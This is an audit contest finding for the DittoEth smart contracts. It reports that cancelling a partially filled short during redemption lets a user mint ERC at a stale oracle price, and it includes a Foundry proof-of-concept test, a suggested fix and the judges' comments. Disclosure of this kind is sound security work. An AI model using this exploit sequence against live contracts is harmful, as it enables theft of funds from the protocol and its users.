Minting ERC at an outdated price in redemption stage

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/facets/ProposeRedemptionFacet.sol#L104 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L946

Vulnerability details

Impact

A malicious user or an unintentional action could lead to minting ERC at an outdated price. This can happen in the following steps:

1. A proposal is created for a Short Record (SR) with partialFill, resulting in ercDebt=0.
2. The shorter of the partially filled SR cancels the associated short.
3. Subsequently, the user mints minShortErc at a price that is not updated to the Oracle's current price.

As a result, the shortRecord can become sub-collateralized or under-collateralized depending on the current Oracle price. This issue can occur by chance when an SR is in the redemption stage and the short is closed or it can be done deliberately by malicious user to mint ERC at a favorable price (free dUSD).

Additionally, when the shortRecord.CR is lower than the initial, ethInitial is also deposited to cover the minShortErc, therefore, the user would be charged the minShortErc amount twice.

Proof of Concept

The following test demonstrates how a shorter can close an order in the redemption process, resulting in ERC being minted at an outdated price.

    function test_mintERCAtOutdatedPrice() public {
        //
        fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
        fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
        // PartiallFill order
        fundLimitBidOpt(DEFAULT_PRICE + 1, DEFAULT_AMOUNT + 1, receiver);
        fundLimitShortOpt(DEFAULT_PRICE + 1, DEFAULT_AMOUNT * 2, extra);
        //
        // 1. Propose orders
        uint88 redemptionAmount = DEFAULT_AMOUNT * 2;
        MTypes.ProposalInput[] memory proposalInputs = new MTypes.ProposalInput[](2);
        proposalInputs[0] = MTypes.ProposalInput({shorter: extra, shortId: C.SHORT_STARTING_ID, shortOrderId: 101});
        proposalInputs[1] = MTypes.ProposalInput({shorter: sender, shortId: C.SHORT_STARTING_ID, shortOrderId: 0});
        address redeemer = receiver;
        depositUsd(redeemer, DEF_REDEMPTION_AMOUNT);
        _setETH(1000 ether);
        vm.prank(redeemer);
        diamond.proposeRedemption(asset, proposalInputs, redemptionAmount, MAX_REDEMPTION_FEE, MAX_REDEMPTION_DEADLINE);
        //
        // 2. `extra user` cancel short and virtually mints ERC at short price. SR Collateral is increased.
        uint extraBalanceErcEscrowedBefore = diamond.getAssetUserStruct(asset, extra).ercEscrowed;
        STypes.ShortRecord memory extraSR = getShortRecord(extra, C.SHORT_STARTING_ID);
        console.log("Collateral before:", extraSR.collateral);
        _setETH(2000 ether);
        vm.prank(extra);
        cancelShort(101);
        assertGt(diamond.getAssetUserStruct(asset, extra).ercEscrowed, extraBalanceErcEscrowedBefore);
        extraSR = getShortRecord(extra, C.SHORT_STARTING_ID);
        console.log("Collateral after:", extraSR.collateral);
    }

Tools used

Manual review

Recommended Mitigation Steps

Short records in the redemption stage should not mint minShortErc in the cancelShort since the initial collateral has already been paid when creating the short record. Additionally, the short record is in the redemption stage, meaning the redeemer has already paid for it. On the other hand, the initial collateral deposited at the start when creating the short can also be used. This would prevent the user from paying collateral for something that has already been paid for.

Assessed type

Invalid Validation

[c4-judge]

hansfriese marked the issue as primary issue

[c4-judge]

hansfriese marked the issue as duplicate of #8

[c4-judge]

hansfriese marked the issue as satisfactory